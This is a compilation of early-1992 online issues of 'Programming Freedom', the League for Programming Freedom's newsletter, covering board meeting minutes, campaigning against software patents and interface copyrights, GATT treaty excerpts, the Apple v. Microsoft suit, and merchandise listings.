December 15, 1991 at Tech Square, Cambridge, Massachusetts. As senior
officer in attendance Chris Hofstader chaired the meeting.
First order of business was to take attendance and establish a quorum
of the directors and the membership.
In attendance:
Directors:
Chris Hofstader
Steven Sisak
Richard Stallman
Notable others:
Spike MacPhee - LPF coordinator
2 public members.
Notable absentees:
Jack Larsen - LPF President
Guy Steele - Director
Having three of the five directors established a quorum. The mail in
proxies established a quorum of the membership.
The second order of business was the reading of the minutes of the
1990 annual meeting. This was done by Spike.
The third order of business was the issue of whether to adopt a policy
governing the spending of LPF funds. Spike read the policy and a vote
of the Directors in attendance accepted the policy. The vote count
was 3 yes and 2 absent. Jack Larsen submitted an objection to the
policy prior to the meeting and also prior to the meeting Guy Steele
submitted his approval of the policy. For a copy of the policy send a
request to Spike.
The fourth order of business was presented by Chris Hofstader who
offered to withdraw his resignation as Secretary and Director. The
vote was 3 in favor, 2 absent. Chris will remain as Secretary and
Director of the LPF.
The board meeting portion of the annual meeting was declared over.
The fifth order of business was a debate over the bylaws regarding the
ex officio director. The debate was over the meaning of the language
"immediate past president" and whether or not Richard Stallman still
had voting rights as a Director of the LPF. A motion was made to
change the bylaws to make this language more clear. It was decided
that this should be done at a special meeting of the board.
The sixth order of business was a confirmation that an online copy of
the bylaws would soon be available.
The seventh order of business was a report on the direct mailing
delivered by Spike MacPhee. Seven people joined at $75 to receive a
coffee mug, 3 people joined at the standard membership of $42, 1
person joined as a student member $10.50 and 3 people sent us $1 for a
position paper. There were 2 people who complained about getting
mail. There was a net loss of $160 on the mailing. It was determined
that $160 was reasonable to reach 4000 people.
There was a continued discussion of whether or not to use this tactic
again and which list we should use in the future. It was generally
decided that we likely will do another direct mailing.
The eighth order of business was a discussion of local working groups.
We discussed how this may be implemented.
The ninth order of business was a discussion of changing our voice
mail system. Ideas presented included leasing an actual office and
getting a voice mail/fax modem system in a computer. It was agreed
that we should remain using the gnu offices at MIT. The largest
problem concerning changing our service would be whether or not we
could maintain the same number.
The tenth order of business was the Treasurer's report delivered by
Steve Sisak. The LPF's 1991 income was $27,585.12, the expenses for
the year totalled $15,805.50, the net annual income was 12,779.62. A
detailed report is available from Steve Sisak. [see expenses below]
The eleventh order of business was a discussion of finding a lawyer
who would be more responsive to the relatively small needs of the LPF.
Steve Sisak was put in charge of this task.
The twelfth order of business was a discussion of the taxes that we
need to pay. The rate that we will pay is 25% and the exact details
are being worked out by Steve Sisak along with our accountant and
lawyer.
The thirteenth order of business was the annual election of officers,
directors and adoption of resolutions. With Richard Stallman
withdrawing from the election all officers and directors were running
unopposed and therefore were all elected.
1992 Officers: Biggest expenses 1992:
Jack Larsen - President 4076 printing
Christian D. Hofstader - Secretary 2573 op exps
Steve Sisak - Treasurer 2030 buttons, tshirts
Directors: 1630 coordinator pay
Les Earnest 792 direct mail postage
Chris Hofstader 604 postage
Jack Larsen (as president) 226 publicity
Steve Sisak 60 bank charges
Richard Stallman (ex officio) 13 office supplies
The question to add a board of advisors passed 190 - 1, w/4 abstained.
The final order of business was a statement for the record by Chris
Hofstader of his disappointment with the poor attendance at the annual
meeting.
The meeting was adjourned at 22:30 EST. <>
<><><> News: MPS committee takes patent stand <><><>
A committee of the Mathematical Programming Society has taken a stand
against patents and Steve Robinson sends a note about the appendices:
As you might know,... we added as one of the appendices to our report
a paper by the League (with permission), and we gave in the report the
mail and email address for people to contact the League. I hope it
generates some interest. The appendices were printed in the special
issue of OPTIMA in which the report ran, but were not reprinted in the
SIAM NEWS. <>
<> Help publicize the League: write to magazines - Johnathan Vail <>
In response to an article in Embedded Systems Programming magazine
about legal issues in programming I wrote a letter to point out the
importance of some issues I thought were glossed over. It was not a
flame or an argument but merely to point out that software patents are
the most important legal issue facing programmers. I mentioned
contacting the LPF for more information.
The letter was published in the recent February 92 issue under the
column heading "Free Our Software". I am not sure what the title
refers to exactly since the first letter in the column was about
freedom of source code and mentioned the GNU philosophy.
Anyway, many thanks to Daniel La Liberte, Michael Ernst, Paul Eggert,
Jonathan Ryshpan, and Greg Buzzard for their help in rewording and
proofreading. The published letter was a little changed but I haven't
diffed it to see exactly what. I don't think anything was deleted.
The letter:
December 9, 1991
Dear Sirs,
This letter is in response to the recent cover article "Legal
Issues for Embedded Systems Developers" by Joel B. Gilman. The
article was a good overview of many legal issues faced by the software
industry today but glossed over the most serious one facing
programmers.
This is the relatively new phenomenon (since 1981) of software
patents. The article only briefly mentioned one of the many concerns
raised by software and algorithm patents and did not mention any of
the arguments against their existing at all. Computer software is
different from physical inventions or processes and many people feel
it belongs in the realm of ideas or mathematical expression which is
not patentable.
A single program may contain hundreds or thousands of algorithms
and techniques. Though a competent programmer can invent these on the
fly, some -- or possibly hundreds -- of these techniques may have
already been patented or, even worse, a patent may be pending.
Despite his independent discovery the programmer may be forced to pay
royalties or redesign his program in a less efficient way for each
"new" technique. It is not feasible to check for patents on every
technique in a computer program; to attempt to do so would be a large
burden on the software industry, driving software costs up sharply.
This is just one of many reasons that software patents are a
serious threat to the software industry. I think a future article in
your magazine examining software patents would provide a substantial
service to the readers. Software patents can and will have a profound
affect on the individual programmer.
I would suggest contacting the League for Programming Freedom.
This is an organization of programmers (as well as users, educators
and others) formed to protect the freedoms of programmers, primarily
from software patents and "look and feel" copyrights. The address is:
[League address]
Sincerely,
Johnathan Vail <>
<>LPF Publicity: Jan CACM, Jan SunExpert, Feb Embedded Systems Prog<>
The LPF patents paper was just printed in the January 1992
Communications of the ACM. (They printed the interface copyright
paper in November 1990.)
Member Rich Morin reports:
My January I/Opener column in SunExpert Magazine is entitled
"This Column May Be Illegal". It gives my own views on the
software patent and L/F copyright issues. It suggests that
folks contact (and preferably join) LPF.
See Johnathan Vail's article above about writing to magazines for his
letter in Embedded Systems Programming magazine. <>
<><><><><> Mail, localgroups, signature publicity <><><><><>
An amusing suggestion from a person interested in joining, who
can't be identified for professional reasons:
I wholeheartly agree with the column published in the January issue
of CACM. We must do something now to stop lawyers from bringing the
world to such a ridiculous state. By the way, has anybody ever thought
of patenting the patent process? This could be a good way to stop them
:-)
And several frustrated readers of the 80 column last issue suggested
that we use the 70 column default for the on-line version. Ok, this
issue, we did. <>
Local groups, please send us info about what you're doing.
Putting LPF in your .sig signature is generating 2 or more info
requests to us each week.
This issue came out on January 44; we still plan the next in March. <>
<><> League-activists mailing list is now moderated <><>
League-activists is now a moderated list to reduce extraneous traffic.
This mailing list
league-activists@prep.ai.mit.edu and its'
two sub-lists:
league-activists-boston@prep.ai.mit.edu
and league-activists-remote@prep.ai.mit.edu should be used only
for members' requests for assistance in league projects, local or
nationally, or for announcements from LPF.
These lists are filtered by a moderator to:
- insure this use;
- minimize the number of messages;
- remove items meant for the list's -request address;
- forward items that should have been sent to another list.
League-tactics@prep.ai.mit.edu is for discussion of LPF directions and
is not moderated.
To subscribe, change your eddress (email address), or be removed from
either list, please use:
league-activists-request@prep.ai.mit.edu
or league-tactics-request@prep.ai.mit.edu
We apologize for not removing people in a timely manner from League
lists. Spike wasn't on the -request lists; that has been fixed. <>
<> President Larsen speaks at Oct Berkeley CPSR by Adam J Richter <>
I think 35 people attended Jack Larsen's speech at the Oct
meeting of the Berkeley chapter of Computer Professionals for Social
Responsibility.
Larsen pretty much assumed that he was talking to LPF members,
so he didn't spend much time talking about why he thought software
patents and UI copyrights were bad. He spent most of the two hour
speech talking about more technical things like court decisions and
the status of various treaties. It was quite informative for the
other LPF members and me, but I don't think that we recruited many new
people.
Also, Larsen spoke against a few other forms of intellectual
property that the LPF doesn't have a position on (e.g., mask work and
normal patents). <>
<><><> LPF at ARISIA sf con in Boston - Johnathan Vail <><><>
In late December I found myself signed up for a computer virus panel
at the ARISIA science fiction convention in Boston. One of my
accomplishments in the field has been the compilation a short glossary
of virus and virus related security terms that is posted occasionally
on the comp.virus newsgroup. For the panel I decided to print the
glossary as handouts for the panel.
Since there was some space at the end I was trying to think of some
related graphics I could use to jazz up the handout. When I started
looking at my LPF "liberty" sticker I got the idea that I could use
the space as an advertisement for the lpf. I obtained permission to
do this and was pleased with the results. I hope it gave the LPF more
visibility and helped to make the "liberty" drawing a more
recognizable symbol for the league.
For those that might be interested, the postscript and ASCII versions
of the glossary have been posted to comp.virus and comp.misc. <>
<><><> LPF publicity at recent conferences <><><>
We had handouts and League material at the following recent
conventions thanks to our hard-working volunteers::
In Dec: 1992 Sun User Group (SUG) Conference in San Jose, CA
In Jan: USENIX Winter 92 Technical Conference in San Francisco, CA
NeXTWORLD EXPO in San Francisco, CA
6th Annual Tech Conf on the X Window System in Boston, MA <>
<><> Rms response to the editor's comments on Nov Kennedy piece <><>
We are also trying to reach the public. Demonstrations will
get 10 seconds of broadcast time because of their visual nature,
This protest was not covered by TV. But ordinary TV news coverage is
not very useful for us--they don't give any issue the time needed
to get our point across.
However, this protest did result in at least 2 print media articles
(one in Boston Business Journal and one to come in Sun Expert.) And
there may be others too.
while position papers never will.
Protests and position papers are not alternatives; using one doesn't
interfere with using the other.
We write articles as much as we see how. We get them published
whenever someone will publish them. Meanwhile, when we do a protest,
it gets us additional coverage. Every bit helps.
Protests have another benefit: when they are easy to participate in,
they help keep up the enthusiasm of the people who participate. They
also provide an opportunity to inform other people at the event
itself, such as by handing out position papers--which we did. <>
<><> GATT Trade Treaty Threatens to Require Software Patents <><>
For many years, international trade has been regulated by a treaty
known as GATT (General Agreement on Tariffs and Trade). Negotiations
are continuing for a revision of GATT. Unlike the previous versions,
the new version threatens to intrude into areas that have in the past
been considered domestic policy, including copyright and patents.
The current working draft would require all countries that sign the
new treaty to have patents "in all fields of technology"--which must
include software techniques. It would also rule out all the ideas so
far proposed to protect software from patents or make the patent
system bearable for software developers.
The treaty covers all aspects of international trade, and currently
the negotiations are deadlocked over the issue of agricultural
subsidies. It's possible that this disagreement will block the treaty
entirely. But perhaps there will be a compromise on agriculture; if
that happens, the entire treaty will be presented to each country as a
package deal. The pressure to accept it will be immense.
If the US ratifies such a treaty, it would force sweeping changes in
US intellectual property law, and deny the US the option of reversing
them. This would take place without any consideration by the House of
Representatives, and the Senate will be unable to consider these laws
on their own merits as would normally happen.
The US administration is responsible for negotiating the treaty and
has pressed hard for these very provisions. The administration has in
effect found a way to legislate by itself, depriving Congress of any
real opportunity to write the laws of the land.
Here are brief excerpts from the treaty that show the problems it
causes:
Article 27: Patentable Subject Matter
1. Subject to the provisions of paragraphs 2 and 3 below, patents
shall be available for any inventions, whether products or processes,
in all fields of technology, provided that they are new, involve an
inventive step and are capable of industrial application...
[Paragraphs 2 and 3 provide some exceptions, but none of them applies
to software.]
Article 28: Rights Conferred
1. A patent shall confer on its owner the following exclusive rights:
(a) where the subject matter of a patent is a product, to prevent
third parties not having his consent from the acts of:
making, using, offering for sale, selling, or importing for
these purposes that product;
(b) where the subject matter of a patent is a process, to prevent
third parties not having his consent from the act of using
the process...
[This rules out any form of mandatory licensing scheme that might
mitigate the problem of patents.]
Article 31: Other Use Without Authorisation of the Right Holder
Where the law of a PARTY allows for other use3 of the subject
matter of a patent without the authorisation of the right holder,
including use by the government or third parties authorised by the
government, the following provisions shall be respected:
(a) authorisation of such use shall be considered on its
individual merits;
(b) such use may only be permitted if, prior to such use, the
proposed user has made efforts to obtain authorisation from
the right holder on reasonable commercial terms and conditions
and that such efforts have not been successful within a
reasonable period of time. This requirement may be waived by a
PARTY in the case of a national emergency or other
circumstances of extreme urgency or in cases of public
non-commercial use.
[Exceptions in accord with these provisions will be very few.]
(h) the right holder shall be paid adequate remuneration in the
circumstances of each case, taking into account the economic
value of the authorisation;
[So it will be expensive for a government to make any sort of
exception.]
Article 30: Exceptions to Rights Conferred
PARTIES may provide limited exceptions to the exclusive rights
conferred by a patent, provided that such exceptions do not
unreasonably conflict with a normal exploitation of the patent and do
not unreasonably prejudice the legitimate interests of the patent
owner, taking account of the legitimate interests of third parties.
[This would seem to rule out making an exception for software in the
scope of patents. Any exception for a program that would be used
widely would enable the patent holder to claim to have "lost"
signifigantly.]
Article 33: Term of Protection
The term of protection available shall not end before the
expiration of a period of twenty years counted from the filing date.
[This requires an increase in the term of a US patent in many cases.
It also rules out the idea of making patents for software last for a
shorter term commensurate with the rate of progress.] <>
<><><><><> Final results of the direct mailing <><><><><>
$792.00 cost - postage for 4000 letters at 19.8 cents each.
$859.50 income as follows:
$450 mem + mugs - 6
$126 mem regular - 3
$250 mem + donation - 1
$ 10.50 mem student - 1
$ 10.00 donation - 1
$ 3.00 info requests - 3 at $1 each
$ 70 net gain plus eleven members <>
<><><> LPF Boutique Materials Available from the League <><><>
Buttons
We have reprinted the famous ``fanged apple'' buttons. These
buttons show the symbol of Apple computer with an alien snake's body
and face.
You can buy buttons by mail from the League, for $2 each, in
quantities of at least three. We give out buttons at events, but ask
for a donation.
Stickers
We also have stickers showing Liberty Empowering the Programmer,
with the League's name and address.
You can order stickers by mail from the League at the price of $5
for 10 stickers; for larger orders, phone us to discuss a price. We
hand them out free when it is convenient, such as at our events, but
since mailing packages to individuals costs money, we want to make it
an opportunity to raise funds.
Post stickers at eye level and separated from other posted
articles, to make them easy to see. The stickers are not made to
survive rain.
Liberty Postcards
We also have postcards showing Liberty Empowering the Programmer,
with the League's name and address. Same terms as the stickers.
Large Liberty Posters
We have a few posters with the same image that is on the
stickers, approximately 2.5 ft by 1.5 ft. We used such posters to
make signs for the protest rally. If you need some, talk with the
League and we'll work out a deal.
Coffee Mugs
Our coffee mugs have the Fanged Apple design in full color on one
side and ``League for Programming Freedom'' on the other. They hold
twelve ounces and are microwave safe. Not available until Feb. 92.
You can order a mug for $10, nonmembers $12. They will not be
ready until Feb 1992 [and have just arrived].
T-Shirts
Michael Ernst has produced t-shirts with Liberty and ``League for
Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on
the back. (The back slogan will change from time to time.) You can
order shirts by mail from the League for $12 (which includes $2 for
mailing). Available colors are yellow, blue and peach; if you specify
a color, we will assume you would rather have the other color than no
shirt. If you want a chosen color or nothing, say so explicitly.
Please specify the shirt size! (M, L or XL.)
Position Papers and Memberships
We will send anyone a copy of the League position papers. If you
want other copies to hand out at an event, we'll send you as many as
you need. Please discuss your plans with us. One-year memberships
are $42 for professionals, $10.50 for students, and $21 for others.
The dues are $100 for an institution with up to three employees, $250
for an institution with four to nine employees, and $500 for an
institution with ten or more employees. For $5000, an institution can
be a sponsor rather than a member. We have 10 inst. members, now.
League Papers Online
You can retrieve LPF written materials by anonymous ftp from
prep.ai.mit.edu in the directory /pub/lpf. These include the position
papers, membership form, handouts, friends of the court briefs, and
articles about the LPF's issues of concern.
League Video Cassettes
We have video tapes of some of Richard Stallman's speeches for the
LPF. If you'd like to give LPF speeches, we can send you copies of
these tapes to give you an example to learn from. If you'd like
copies for another purpose, we can send them for $20 each. <><><>
<><><> End of Jan 1992 Programming Freedom <><><>

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_______________________________________________________
| |
| March 1992 -==- Volume I Number 3 |
| |
| PROGRAMMING FREEDOM - online edition |
| league@prep.ai.mit.edu |
| |
| The Electronic Newsletter of |
| The League for Programming Freedom |
| 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 |
| Phone: (617) 243-4091 (voicemail only-leave your |
|address or phone number, and we'll answer your query)|
| Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) |
| Reproduction of Programming Freedom via all |
| electronic media is encouraged. |
| To reproduce a signed article individually, |
| please contact the author for permission. |
|_____________________________________________________|
<><><><><> TABLE OF CONTENTS <><><><><>
John von Neumann Opposed Patents
LPF publicity: Cons, media mentions, & volunteer efforts
San Jose Mercury News Wed Feb 12, 1992: Apple puts price on suit
Microsoft Files Dismissal Motions - Analysis by Charles B. Kramer
LPF .signature publicity increasing
On the road with rms - latest West Coast trip
Mail: How can I find out when LPF meetings are going
to be held? and a reply by Michael Ernst
LPF at SD 92 - rms
Who's News: Judge Walker Adds to Drama Of Apple Suit - DELETED
LPF email lists - what they are for
Mail: An opinion against direct mailing
LPF Boutique: Materials Available from the League
--==--
John von Neumann Opposed Patents
********************************
The biography, `John von Neumann and the Origins of Modern Computing'
(by William Asprey, MIT Press, 1990, pp. 41-45), describes a patent
dispute in 1946-47 that Von Neumann had with Eckert and Mauchly over
the EDVAC. Von Neumann had been a consultant to the EDVAC project and
had contributed to many of the fundamental inventions there. In 1946,
Eckert and Mauchly attempted to patent much of the EDVAC technology,
including that which von Neumann claimed he had invented.
The fight ended when a draft report on EDVAC that von Neumann had
written in 1945 was held to be a prior publication. Thus, all of the
inventions in question became part of the public domain.
One result of this dispute was that von Neumann changed the patent
policy for his computer project at the Institute for Advanced Studies.
The original plan was to have patents assigned to individual
engineers. Instead, all ideas were placed in the public domain.
Von Neumann said "This meant, of course, that the situation had taken
a turn which is very favorable for us, since we are hardly interested
in exclusive patents, but rather in seeing that anything that we
contributed to the subject ... remains as accessible as possible to
the general public."
--==--
<><><>LPF publicity: Cons, media mentions, & volunteer efforts<><><>
Send in any LPF mentions or volunteer efforts and we'll list it.
Nov 91: Unix User reprinted "Against Software Patents"
Jan - Feb: J. Eric Townsend of U. of Houston, Texas, jet@uh.edu, asked
for LPF tshirts to sell locally and sold over a dozen, counting the
three people who emailed and then wrote us as a result of his posts to
Texas bulletin boards. He has a stock of handouts, stickers and a few
buttons that he can give out in the local area.
Feb 23-8: SD 92 conf in Santa Clara - we again took a booth (see
article by rms).
Mar 16: National Law Journal - article on rms & Feb 29 Computer Law
Symposium at UCal Hastings College of Law.
Mar 28-9: Boston Computer Society Macintosh Megameeting - LPF table
Spring 92: (Vol 12 #1) EurOpen: Forum for Open Systems News Letter ran
"Against Software Patents"
--==--
<>San Jose Mercury News Wed Feb 12, 1992: Apple Puts Price on Suit<>
Nearly four years after it sued Microsoft Corp. for copyright
infringement, Apple Computer finally put a whopping $4.4 billion price
tag on the damages it alleges it suffered at the hands of Microsoft's
Windows program.
The enormous sum has no precedent in copyright law and few equals in
any type of civil litigation in the United States. It is nearly twice
Microsoft's #2.4 billion in revenues for all of 1991 and some 70
percent of Apple's $6.3 billion revenues for the same year. The
figure represents almost half the value of company Chairman William H.
Gates' $7.35 billion stake in Microsoft.
The figure is contained in a document filed by Apple in U.S. District
Court in San Francisco on Feb. 1 but sealed until Tuesday, when the
company agreed to allow Microsoft to make part of it public. It is
the latest in a tortuous series of legal maneuvers since Apple sued
Microsoft and Hewlett-Packard Co. in 1988, alleging that Microsoft had
copied the "look and feel" of the Macintosh computer's user interface
in its Windows program. H-P is involved because the New Wave user
interface is based largely on Windows.
The trial is expected to start this summer.
According to a statement by Microsoft, the amount comprises slightly
more than $3 billion Apple claims it suffered in reduced unit sales
and depressed selling prices, and $1.4 billion in gross revenues it
claims Microsoft realized selling Windows and related applications
programs.
The two companies disagree, however, on what the total figure means.
Apple spokeswoman Barbara Krause said the sum is not Apple's actual
damages claim but only the estimate of one expert witness, Robert E.
Hall of the Hoover Institution at Stanford University. "We have not
said what the damages will be," she said.
But Microsoft contends it is Apple's "statement of damages," said
William H. Neukom, Microsoft's vice president of law and corporate
affairs, who described the figure as "unsupportable and speculative."
Attorneys and analysts say the sum is very likely legal posturing, and
both sides agree the figure Apple actually presents to the jury at the
start of the trial could be different. Even if it is not, observers
agree that the $4.4 billion is unlikely to be close to what Apple
might be awarded should it win the case.
"There will be no settlement at or near those figures," said Dan
Kaufman, an intellectual-property attorney with Brobeck, Phleger &
Harrison in Palo Alto. "If they ask for a number like that, they will
have to fight to the death."
The largest judgement in a similar case, involving a patent dispute
over instant photography between Polaroid and Eastman Kodak, amounted
to only $873 million -- nearly half of that interest accrued during
the 14 years the case dragged through the courts. Only a few
class-action lawsuits involving thousands of victims have ended up
with multibillion-dollar judgements, Kaufman said.
Throwing such a figure on the table "makes it difficult to see them
settling this for cash," said Doug Kass, a Dataquest Inc. analyst.
Both Apple and Microsoft say they have no current intention of
settling the case.
[The Mercury News lets non-profit corporations reprint their articles,
and even allows electronic distribution.]
Addendum: In March, Microsoft said that Apple had increased the
damage claim in the lawsuit from $4.37 billion to $5.55 billion.
--==--
<>Microsoft Files Dismissal Motions - Analysis by Charles B. Kramer<>
Microsoft has filed motions seeking to dismiss Apple's claims in their
user-interface copyright infringement case. At issue is principally
whether Microsoft's Windows copies a certain 10 "screen elements" from
Apple's Macintosh GUI, and if so, whether the copying constitutes
copyright infringement. The 10 elements are all that remain out of a
much greater number of "similarities in particular features" that
Apple earlier asserted were wrongfully copied by Microsoft.
Taken together, Microsoft's motions ask for dismissal with respect to
the 10 screen elements on three alternative and largely overlapping
grounds. The grounds, in effect, are:
[1] THE SCREEN ELEMENTS ARE ALREADY LICENSED TO MICROSOFT
UNDER THE 1985 AGREEMENT THAT RESOLVED APPLE'S CLAIM THAT
WINDOWS VER. 1.0 COPIED THE MACINTOSH GUI
The 1985 Agreement has come to haunt Microsoft, because in it
Microsoft got a license to the Mac GUI, but also "acknowledged" that
Windows Ver. 1.0 derives from the GUI in a copyright sense.
[2] THE SCREEN ELEMENTS CANNOT BE PROTECTED BY COPYRIGHT AS A
MATTER OF LAW.
In furtherance of this ground, Microsoft continues to assert, among
other things, that the elements are not protected by copyright because
they are merely the "functional" aspects of Apple's user interface,
and are not "artistic" expression. Copyright law protects artistic
expression, not expression that serves a functional purpose.
[3] THE SCREEN ELEMENTS WERE NOT ORIGINATED BY APPLE.
The status of this argument is the most unclear of the three. In
August, the Judge overseeing the case ruled that if Apple had copied
expressive elements of the Macintosh GUI "directly... from
pre-existing works", then Apple "has no right to preclude others from
using those same 'unoriginal' elements". But the Judge also ruled
that Apple's GUI could be found original if the preexisting features
it uses are "different" or are combined in an "innovative way". The
Judge also mentioned that a certain law review article "might well
provide a sound basis" for deciding the case.
The law review article takes the position that copyright protection
should be a function of how much financial investment has been put
into a work. On March 25, 1992, the Wall Street Journal reported that
Jerome Reichman, a copyright expert, stated that application of the
theory to the Apple/Microsoft case is "just wild" and "really off the
wall". Perhaps Mr. Reichman is thinking of a recent Supreme Court
decision that emphatically stated (although not in a user interface
context) that mere labor and effort are *not* substitutes for the
originality that copyrights protect.
>From the League's point of view, only dismissal on ground [2] would
be a clear victory with the best chance of correctly directing the
copyright/user interface debate. Unfortunately, Microsoft is unlikely
to win dismissal on any of the 3 grounds, in which event the case will
likely be decided by a jury.
Charles B. Kramer -Attorney-
>From Internet 72600.2026@Compuserve.com
--==--
<><><>LPF .signature publicity increasing<><><>
Here's one example of a member who mentions LPF in his .sig, as a
growing percentage of members do.
...just to let you know. I receive one request for information
about the LPF every two or three weeks on average. Not so bad.
Francois Pinard ``Vivement GNU!'' pinard@iro.umontreal.ca
Consider joining the League for Programming Freedom. Email for details
And one person's request for LPF info as a result:
Well, after seeing all these .signatures with your guys' name on
it, I decided to find out what it was all about.
Last issue, I said that we were getting 2 or more .sig-generated
queries per week; now it's up to 4 or more per week. We've increased
our size by one-third since the start of the year, from 450 to over
600.
Number of members who have joined or renewed within the last year:
617. - srm -
--==--
<><><>On the road with rms - latest West Coast speaking trip<><><>
This February, Richard Stallman gave five speeches for the LPF in the
San Francisco area, including one of them at the Hastings College of
the Law. The other talks were at Stanford, Berkeley, and two CPSR
chapters.
At some of these talks he ran into some opposition from a new group
called the "Abraham Lincoln Patent Holders' Association", which was
founded by Paul Heckel. (That is the person who threatened to sue the
users of Hypercard in order to pressure Apple into paying him money.)
One of Heckel's associates, a lawyer named Higgins, spoke at Hastings.
The audience there seemed to believe Stallman more, but one attendee
said, "That's because they are lawyers and they are trained to find
the flaws in a fallacious argument. If it were a less sophisticated
audience, many of them would believe Higgins because he is a lawyer."
At one talk, Heckel himself showed up, and proceeded to live up to his
name. Stallman mentioned the fact that Heckel has admitted not
realizing that Hypercard might be considered to infringe Heckel's
patent, until being informed of this by his lawyer. Heckel said, "I
was simply misinformed as to the scope of my protection." Of course,
this only substantiated the point that Stallman was trying to make,
and pointing this out caused Heckel to sit down and keep quiet for the
rest of the talk.
Heckel came to Stallman's next talk also, but left three-quarters of
the way through without saying anything. What does this mean?
The optimistic interpretation is that he was stymied. The pessimistic
one is that he came to gather ammunition.
The remaining talk of the six was at the Critical Software Meeting -
an annual meeting of people involved in software development for the
DOD. This talk seems to have had mixed success: several of the
attendees said they were stunned by what they heard; but they did not
vote to choose intellectual property as a topic for further work
during the meeting.
--==--
<>Mail: "How can I find out when LPF meetings are going to be held?"<>
This question is becoming a FAQ (Frequently Asked Question).
I don't know of any meetings coming up; the LPF tends to be light on
face-to-face meetings. We do have an annual meeting in Boston near
the end of each calendar year, and all members are notified weeks in
advance. Adam Richter sometimes organizes meetings for members in the
Berkeley area.
Many of us do much of our interaction over the electronic nets, and
projects (such as writing articles, having t-shirts printed, educating
the public, etc.) tend to be initiated by one member, though others
often help out. If you'd like to volunteer to do something, that's
terrific, as we can always use more. If you can suggest a project
you'd be willing to do, all the better.
Members might want to organize meetings of the members in their area.
People interested in doing this should contact both Spike MacPhee,
spiker@prep.ai.mit.edu, and Adam Richter, adam@soda.berkeley.edu, to
get help and advice.
mernst@theory.lcs.mit.edu (Michael Ernst)
Michael maintains the LPF off-line print library of LPF, patent, and
copyright articles, and the on-line index to them. See "League Papers
Online" in the Boutique section at the end of the issue.
--==--
<><><>LPF at SD 92 - Richard M. Stallman<><><>
In February, the LPF had a booth at the SD92 trade show in Santa
Clara, CA, just as we did a year ago. This show is attended primarily
by software developers from the PC world.
The primary purpose of the booth was to inform more programmers of the
problems they face, and to recruit their support. A secondary goal
was to raise money with buttons, t-shirts and mugs.
The booth was staffed by Peter Deutsch, Peter Hendrickson, Hans
Reiser, Adam Richter, and Richard Stallman.
We had considerable success toward the main goal. We distributed
around 700 buttons and probably 1500 position paper booklets. We
signed up 14 new members at the booth.
We didn't achieve the secondary goal; we spent around $2500 (including
the cost of the supplies) and made back only around $1500. (It's
possible that additional people who met us there will join and reduce
the gap, but it will be hard to tell.) At this point, it is not clear
whether we should consider this a cost-effective activity.
--==--
<><><> Who's News: Judge Walker Adds to Drama Of Apple Suit<><><>
By Richard B. Schmitt, Staff Reporter of The Wall Street Journal
WEDNESDAY, MARCH 25, 1992
THE WALL STREET JOURNAL. (c) 1992 Dow Jones & Company, Inc.
[The Wall Street Journal asked for $77 royalties for us to run 800
copies of this two-page article in paper form only: they said it is
illegal to reproduce this article in electronic form for network,
email or database distribution, and would not give permission for
anyone to do so for any of their articles. The LPF Board chose not to
distribute this issue in paper form only. Check out this interesting
article about the trial judge at your local library.]
--==--
<><><>LPF email lists - what they are for<><><>
This moderated mailing list
league-activists@prep.ai.mit.edu
and its two sub-lists:
league-activists-boston@prep.ai.mit.edu
and league-activists-remote@prep.ai.mit.edu should be used only
for members' requests for assistance in league projects, local or
nationally, or for announcements from LPF.
These lists are filtered by a moderator to:
- insure this use;
- minimize the number of messages;
- remove items meant for the list's -request address;
- forward items that should have been sent to another list.
There may be a delay of up to 3 days for your message to be sent on
L-act, so plan ahead for volunteer requests.
League-tactics@prep.ai.mit.edu is for discussion of LPF directions and
is not moderated.
If you want to subscribe, change your eddress (email address), or be
removed from either list, please use:
league-activists-request@prep.ai.mit.edu
or league-tactics-request@prep.ai.mit.edu
Michael I. Bushnell is stepping down after a year of being the ecom
(electronic communicator) for league@prep.ai.mit.edu, the LPF's
information eddress. We would like to thank him for the 2-3 hours each
week that he spent as a volunteer on our behalf answering queries.
--==--
<><><>Mail: an opinion against direct mailing - C. Jeffery<><><>
Reading your [Jan] online edition of PROGRAMMING FREEDOM I am reminded
of why I haven't renewed my League membership. I believe in the
League and its objectives, but I will not support the use of direct
mail campaigns. The easiest way to *not* support direct mail is to
not renew my membership.
99.9% of the direct mail I receive goes into the garbage can unopened.
I resent it, and I suspect others may feel the same way. Did the
League really reach 4000 people? I count 14 people, not 4000. Direct
mail is also wasteful environmentally.
I am not offering a solution to the problem of delivering the league's
message where it is needed. I wish I could. But I am voicing an
opinion about direct mailing. It has a worse effect on our society
than software patents. The ends do not justify the means.
Clinton Jeffery
cjeffery@cs.arizona.edu
Last year league-tactics got a half-dozen messages from members who
objected to direct mail for one reason or another. This was Aubrey
Jaffer's reply to them:
Direct Mail is the least intrusive form of advertising. It takes
less than a second to throw away a piece of mail. Unlike a
billboard or poster or television advertisement you don't have to
look at it day after day. For example, It took longer for me
receive the first screen of your unsolicited message (at 1200
baud) than it does for you to throw away mail.
As for waste of paper and gas, We are sending out 4000 pieces
compared to the billion of pieces a day the post office handles.
Our mailing is made from recyclable materials (no windows in the
envelopes).
If a large number of League members object to direct mailing then that
could be a reason to stop; but just a half-dozen doesn't seem like
enough reason to stop, given that the officers don't share the
sentiment. At present, the Board is planning to debate the
feasibility of a 2nd experiment in direct mailing. Make your pro or
con views known to us at league-tactics@prep.ai.mit.edu.
--==--
<><><> LPF Boutique: Materials Available from the League <><><>
Send your order to the League address in the masthead.
Buttons
We have reprinted the famous ``fanged apple'' buttons. These
buttons show the symbol of Apple computer with an alien snake's body
and face.
You can buy buttons by mail from the League, for $2 each, in
quantities of at least three. We give out buttons at events, but ask
for a donation.
Stickers
We also have stickers showing Liberty Empowering the Programmer,
with the League's name and address.
You can order stickers by mail from the League at the price of $5
for 10 stickers; for larger orders, phone us to discuss a price. We
hand them out free when it is convenient, such as at our events, but
since mailing packages to individuals costs money, we want to make it
an opportunity to raise funds.
Post stickers at eye level and separated from other posted
articles, to make them easy to see. The stickers are not made to
survive rain.
Liberty Postcards
We also have postcards showing Liberty Empowering the Programmer,
with the League's name and address. Same terms as the stickers.
Large Liberty Posters
We have a few posters with the same image that is on the
stickers, approximately 2.5 ft by 1.5 ft. We used such posters to
make signs for the protest rally. If you need some, talk with the
League and we'll work out a deal.
Coffee Mugs
Our coffee mugs have the Fanged Apple design in full color on one
side and ``League for Programming Freedom'' on the other. They hold
twelve ounces and are microwave safe. You can order a mug for $15,
nonmembers $17, plus $3.00 shipping and handling. They are now in
